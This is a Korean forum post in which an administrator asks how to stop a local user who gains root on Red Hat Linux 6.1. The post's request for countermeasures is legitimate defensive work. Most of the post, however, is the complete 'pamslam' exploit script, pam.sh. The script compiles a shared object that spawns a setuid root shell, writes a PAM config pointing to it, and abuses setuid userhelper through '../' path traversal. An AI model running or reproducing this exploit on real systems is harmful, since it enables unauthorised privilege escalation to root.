계정사용자가 아래의 두 파일을 이용해서 root권한을 갖게 되는데
이에 대한 방지 대책이 필요하답니다.
고수님들의 답변 부탁드립니다.
_pamslam.o
pam.sh
위 두 파일 중 pam.sh 를 실행하면
_pamslam.c
_pamslam.conf
_pamslam.so
위와 같은 세파일이 생성되고 root권한을 바로 갖게 된답니다.
참고로 pam.sh 의 소스는 아래와 같답니다.
#!/bin/sh
#
# pamslam - vulnerability in Redhat Linux 6.1 and PAM pam_start
# found by dildog at l0pht.com #
# synopsis:
# both 'pam' and 'userhelper' (a setuid binary that comes with the
# 'usermode-1.15' rpm) follow .. paths. Since pam_start calls down to
# _pam_add_handler(), we can get it to dlopen any file on disk. 'userhelper'
# being setuid means we can get root.
#
# fix:
# No fuckin idea for a good fix. Get rid of the .. paths in userhelper
# for a quick fix. Remember 'strcat' isn't a very good way of confining
# a path to a particular subdirectory.
#
# props to my mommy and daddy, cuz they made me drink my milk.
cat > _pamslam.c << EOF
#include<stdlib.h>
#include<unistd.h>
#include<sys/types.h>
void _init(void)
{
setuid(geteuid());
system("/bin/sh");
}
EOF
echo -n .
echo -e auth required $PWD/_pamslam.so > _pamslam.conf
chmod 755 _pamslam.conf
echo -n .
gcc -fPIC -o _pamslam.o -c _pamslam.c
echo -n o
echo "where are you man"
ld -shared -o _pamslam.so _pamslam.o
/usr/bin/whoami
echo -n o
/usr/bin/whoami
chmod 755 _pamslam.so
/usr/bin/whoami
echo -n O
/usr/bin/whoami
#rm _pamslam.c
#rm _pamslam.o
echo O
/usr/bin/whoami
/usr/sbin/userhelper -w ../../..$PWD/_pamslam.conf;whoami
echo "where are you man"
sleep 1s
#rm _pamslam.so
#rm _pamslam.conf